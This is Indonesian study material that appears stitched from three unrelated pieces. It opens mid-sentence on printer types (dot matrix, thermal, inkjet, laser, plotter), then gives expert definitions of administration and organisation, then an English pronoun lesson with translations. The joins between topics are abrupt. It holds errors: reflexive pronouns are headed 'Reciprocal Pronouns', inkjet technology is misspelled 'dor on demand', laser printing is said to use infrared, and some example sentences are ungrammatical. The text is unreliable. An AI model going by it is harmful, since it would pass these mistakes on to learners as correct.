menekan huruf yang bersangkutan sehingga menyentuh pita (karbon) dan kemudian diteruskan diatas kertas yang berada dibalik karbon/pita. Terjadilah pencetakan huruf demi huruf. Dikarenakan cara mencetak printer jenis ini berdasar huruf demi huruf, maka printer ini juga dikenal sebagai character-printer. Kecepatan cetaknya relatif lambat, yaitu berkisar 40 hingga 100 karakter per sekon. • Dot Matrix Printer Dot matrix adalah sistem pembentukkan karakter dari sejumlah titk-titik. Printer dot matrix mempunyai elemen yang terdiri dari jarum-jarum yang menekan pita sehingga dapat mencetak pada kertas. Head dari printer jenis ini, terdiri atas 7 atau 9 ataupun 24 jarum yang tersusun secara vertical dan membentuk sebuah kolom. Pada saat bekerja, jarum yang ada akan membentuk character images melalui gesekan-gesekan jarum pada karbon dan kertas. Printer jenis ini juga merupakan karakter printer. Kecepatannya sangat bervariasi, tapi untuk Epson LX-80, adalah 80 karakter per sekon. Pada saat head printer bergerak dari kiri kekanan sambil menyentuh kertas, maka huruf yang sudah terpola dalam suatu susunan jarum akan segera muncul. Pola huruf ini kemudian diterima oleh pita karbon yang dibaliknya terdapat kertas, dan terjadilah pencetakan huruf demi huruf. Setiap character yang terbentuk akan menimbulkan suatu pola unique yang terdiri dari pelbagai titik didalam dimensi sebuah matrix. Jenis printer dot matrix sangatlah bervariasi, ada yang berjenis color dan ada pula yang non-color. Untuk printer color, digunakan pita (karbon/ribon) khusus yang mempunyai 4 warna, yaitu hitam, biru, merah dan kuning. • Thermal Printer Thermal printer sangat berbeda dan berbeda dari printer inkjet normal atau bahkan printer laser. Sama seperti namanya, thermal printer menggunakan panas untuk mencetak di atas kertas, bukan cartridge tinta yang biasa digunakan oleh printer jenis lainnya. Dengan teknologi ini, membuat thermal printer tidak bising (malahan beberapa jenis tidak mengeluarkan suara). Printer ini juga dapat mencetak sangat cepat karena tidak menggunakan pin-pin seperti pada dot matrix printer. Printer ini memiliki harga yang lebih tinggi diatas dot matrix, namun justru dengan kelebihan yang dimiliknya tadi menyebabkan thermal printer banyak dipakai. Beberapa kegunaan thermal printer adalah cetak struk pada SPBU, mesin antrian, mesin ATM, kios informasi, sistem point of sales seperti di kasir. • Ink Jet Printer Ink jet printer adalah alat cetak yang menggunakan tinta untuk mencetak. Ink jet printer yang tersedia di pasaran saat ini memiliki kemampuan untuk mencetak sampai ukuran kertas yang sangat besar, dan dengan kualitas yang sangat baik. Resolusi printer inkjet saat ini dapat mencapai 5760×1440 dpi. Pada printer jenis Ink jet menggunakan teknologi dor on demand, yaitu dengan cara menyemprotkan titik titik kecil tinta pada kertas melalui nozzle atau lubang pipa yang sangat kecil. Teknologi lainnya yang dikembangkan oleh produsen printer seperti Canon dan HP dengan menggunakan panas. Panas tersebut dapat membuat gelembung-gelembung tinta sehingga jika semakin panas akan semakin menekan tinta ke nozzle yang ditentukan dan tercetak pada kertas. karena menggunakan tinta cairan hasil cetaknya menunggu beberapa detik agar bisa kering. jenis printer ink jet ini penempatan dan pengisian tintanya bisa dimodifikasi dengan teknik infus, yaitu dengan menambahkan tabung tinta khusus pada bagian luar printer dan disambung dengan selang kecil untuk dihubungkan pada bagian pencetak di mesin printer. • Laser Jet Printer Laser jet printer merupakan jenis printer yang paling bagus kualitasnya di banding dua jenis printer sebelumnya. Alat mencetaknya tidak menggunakan tinta melainkan menggunakan bubuk toner dan pencetakan menggunakan infra merah. Printer ini juga menawarkan kecepatan pencetakan yang tinggi. Bahkan mesin yang tergolong kelas rendah dari golongan laser inipun masih memiliki kecepatan yang tinggi dibandingkan dengan printer ink jet atau dot matrix. Minimal dua kali lebih cepat dari printer ink jet. Kerja printer laser mirip dengan mesin fotocopy, yaitu menggunakan photographic drum. Kualitas cetakan yang dihasilkan selain cepat juga cukup tajam. Printer laser sangat tepat digunakan bagi mereka yang frekuensi mencetaknya sangat tinggi. Biasanya adalah perkantoran perkantoran. Namun, tidak menutup juga home user menggunakan printer laser. Hanya saja untuk printer laser berwarna yang kualitasnya sama dengan ink jet, harganya dapat dua kali lebih mahal dari printer ink jet itu sendiri. 3) Plotter Plotter merupakan jenis printer yang dirancang secara khusus guna menghasilkan output komputer yang berupa gambar ataupun grafik. Dengan menghubungkan plotter pada sistem komputer, maka berbagai bentuk gambar akan dapat disajikan secara prima. Landscape-arsitektur banyak menggunakan plotter guna menghasilkan gambar landscape, potongan pohon, ataupun untuk membantu memvisualisasikan efek dari segala kegiatan yang ada. Head dari plotter terdiri dari beberapa buah pena berwarna yang secara terus-menerus akan bergerak keatas kertas gambar guna menghasilkan gambar yang sebelumnya telah dirancang pada sistem komputer. Secara umum, bagian yang ada didalam plotter terbagi menjadi dua, yaitu drum-plotter dan table-top-plotters (flatbad). Flatbad plotter yang dilengkapi dengan pena ataupun gantungan pena yang selalu bergerak menyelusuri permukaan kertas guna menghasilkan gambar.

Pengertian Administrasi Dari Para Ahli 1. ULBERT Administrasi secara sempit didevinisikan sebagai penyusunan dan pencatatan data dan informasi secara sistematis baik internal maupun eksternal dengan maksud menyediakan keterangan serta memudahkan untuk memperoleh kembali baik sebagai maupun menyeluruh. Pengertian administrasi secara sempit lebih dikenal sebagai istilah tata usaha. 2. WH EVANS Administrasi adalah fungsi yang menyangkut manajemen dan pengarahan semua tahap operasi perusahaan mengenai pengolahan bahan keterangan, komunikasi, dan ingatan organisasi. 3. ARTHUR GRAGER Administrasi adalah fungsi tata penyelenggaraan tahap komunikasi dan pelayanan warkat suatu organisasi. 4. GEORGE TERRY Administrasi adalah perencanaan, pengendalian dan pengorganisasian pekerjaan perkantoran serta penggerakmereka yang melaksanakanya agar mencapai tujuan yang telah ditetapkan. 5. WILLIAM LEFFINGWELL dan EDWIN ROBINSON Administrasi adalah cabang ilmu manajemen yang berkenaan dengan pelaksanaan pekerjaan perkantoran serta penggerak mereka yang melaksanakanya agar mencapai tujuan yang telah ditetapkan. Pengertian Organisasi Menurut Para Ahli 1.ROSENZWAIG Organisasi dapat dipandang sebagai - Sistem sosial, yaitu orang-orang dalam kelompok. - Integrasi atau kesatuan dari aktivitas-aktivitas orang-orang bekerja sama. - Orang-orang yang berorientasi/berpedoman pada tujuan bersama. 2. MATTIAS AROEF Suatu organisasi terjadi apabila sekelompok orang bekerja bersama sama untuk mencapai tujuanya Peran Organisasi 1. Merencanakan apa yang hendak dicapai oleh organisasi beserta sub-sub unitnya selama periode waktu tertentu. 2. Mengkoordinasikan semua rencana beserta aktivitas dari seluruh bagian yang ada demi tercapainya keselarasan kerja yang mengarah padatujuan yang sama. 3. Mengolah informasi yang terdapat dalam setiap unit organisasi maupun diantara unit-unit yang ada serta informasi yangberasal dari lingkungan ekstern guna pengambilan keputusan. 4. Mengevaluasi informasi tersebut untuk dibandingkan terhadap apa yang diinginkan dan mengambil tindakan tertentu untuk mengoreksi atas penyimpangan yang terjadi. 5. Memoengaruhi perilaku orang-orang yang ada dalam organisasi tersebut untuk diarahkan pada tujuanya.

Subject Pronouns	Object Pronouns	Possessive Adjectives	Possessive Pronouns	Reciprocal Pronouns
I You (singular) You (plural) We They He She It	me you you us them him her it	my your your our their his her its	mine yours yours ours theirs his hers its	myself yourself yourselves ourselves themselves himself herself itself

• I, you, we, they, he, dan she digunakan untuk mengganti orang. Selain itu, “they ” juga digunakan untuk menggantikan plural nouns. He dan she juga dapat digunakan untuk menggantikan hewan, khususnya hewan peliharaan. Dan khusus untuk “she ‘ juga dapat digunakan untuk menggantikan kapal laut.
• “It ” untuk menggantikan benda mati dan tumbuhan tunggal.
• He, she dan it adalah singular subject (orang ketiga tunggal) yang selalu diikuti oleh singular verb.

1. I love you.
2. He is my brother.
3. She likes writing a poem. (Dia suka menulis puisi).
4. Two cars were reported stolen last night. They haven’t been found yet. (Dua mobil dilaporkan dicuri tadi malam. Mereka (kedua mobil itu) belum ditemukan).
5. You have to buy a good English dictionary. (Kamu harus membeli sebuah kamus bahasa Inggris yang baik).
6. We planted a rose plant last month. It is growing well now. (Kami menanam sebuah tanaman mawar sebulan yang lalu. Dia (tanaman mawar itu) sedang tumbuh dengan baik sekarang).

1. It was I who broke the mirror. (Adalah saya (sayalah) yang memecahkan cermin itu).
2. There is he here now. You should come here quickly if you want to meet him. (Ada dia di sini sekarang. Kamu harus datang ke sini dengan cepat jika kamu ingin bertemu dia).
3. This is I. I am just an ordinary person. (Inilah saya. Saya hanyalah seorang manusia biasa).

1. He is as smart as she. (Dia (cowok) sama pintarnya dengan dia (cewek).
2. Maria has the same preference as they. (Maria punya kesukaan yang sama dengan mereka).

1. I am smarter than he. (Saya lebih pintar dari dia).
2. They study harder than she. (Mereka belajar lebih giat dari dia).

1. We are different from they. (Kita beda dengan mereka).
2. Although they are twins, she is different from he. (Walaupun mereka kembar, dia (cewek) beda dengan dia).

1. It was me who broke the mirror.
2. He is as smart as her.
3. I am smarter than him.
4. We are different from them. dan seterusnya.

1. Yeyes gave me a piece of cake (Yeyes memberi saya sepotong kue)
2. Yeyes gave you a piece of cake, too. (Yeyes memberi kamu sepotong kue juga)
3. Yeyes did not give him a piece of cake. (Yeyes tidak memberi dia sepotong kue).
4. I like her. (Saya suka dia).
5. Do you like your new bicycle? Yes, I like it very much. (Apakah kamu suka sepeda barumu? Ya, saya menyukainya dengan sangat)
6. Koko helped us clean the house. (Koko membantu kami membersihkan rumah).
7. Yeyes taught him to do his homework. (Yeyes mengajarinya mengerjakan PR).
8. Didit saw us on the football field. (Didit melihat kita di lapangan sepakbola)
9. She hates me because I am very, very naughty. (Dia membenciku karena saya sangat,sangat jahil).

1. This is my house. (Ini adalah rumahku).
2. That is his house.
3. This is your dictionary. (Ini adalah kamusmu)
4. We all like our teacher.
5. Didit and Yeyes are saving some of their money to buy a birthday gift.
6. That is your book.
7. This is their clean class.
8. That is our television.
9. This is my new bag.
10. That is her big house.

1. This house is mine. (rumah ini adalah rumahku).
2. That house is his. (rumah itu adalah rumahnya).
3. This dictionary is yours. (kamus ini adalah kamusmu).
4. I like your shoes but I don’t like mine. (Saya suka spatumu, tapi saya tidak suka sepatuku).
5. Those books are his now. (Buku-buku itu adalah buku-bukunya sekarang).
6. This new bag is mine. (Tas baru ini adalah tasku).
7. That television is ours. (TV itu adalah TV kami).
8. These beautiful cars are theirs. (Mobil-mobil cantik ini adalah mobil-mobil mereka).
9. That pencil is yours. (Pensil itu adalah pensilmu).
10. This dictionary is his. (Kamus ini adalah kamusnya).

1. This is mine
2. That’s yours
3. Those are his now, dan seterusnya.

1. I hate myself. (Saya benci diriku sendiri).
2. You only love yourself. (Kamu hanya cinta dirimu sendiri).
3. You all have to help yourselves. (Kamu semua harus membantu diri kamu sendiri).
4. We have to discipline ourselves. (Kita harus mendisiplinkan diri kita sendiri).
5. She must be angry to herself. (Dia harus marah pada dirinya sendiri).
6. He gives himself a little more time to rest. (Dia memberi dirinya sendiri sedikit lebih banyak waktu untuk beristirahat).
7. They are proud of themselves. (Mereka bangga pada diri mereka sendiri).

• Saya akan meminjamimu sepedaku.

• I will lend you my bicycle. Atau,
• I will lend my bike to you.

1. There are two dogs in my house. They are brown and white. The brown one is big, tall and a little fierceful, while the white one is smaller, shorter, and calmer. (Ada 2 anjing di rumahku. Mereka berwarna coklat dan putih. Anjing yang berwarna coklat adalah besar, tinggi, dan sedikit galak, sedangkan anjing yang berwarna putih adalah lebih kecil, lebih pendek, dan lebih jinak).
2. I have two new red pens on my right hand and five used blue pens on my left one. Which ones do you want? (Saya punya 2 pulpen merah baru di tangan kanan saya dan 5 pulpen biru yang telah pernah dipakai di tangan kiri saya. Pulpen-pulpen yang manakah yang kamu inginkan?).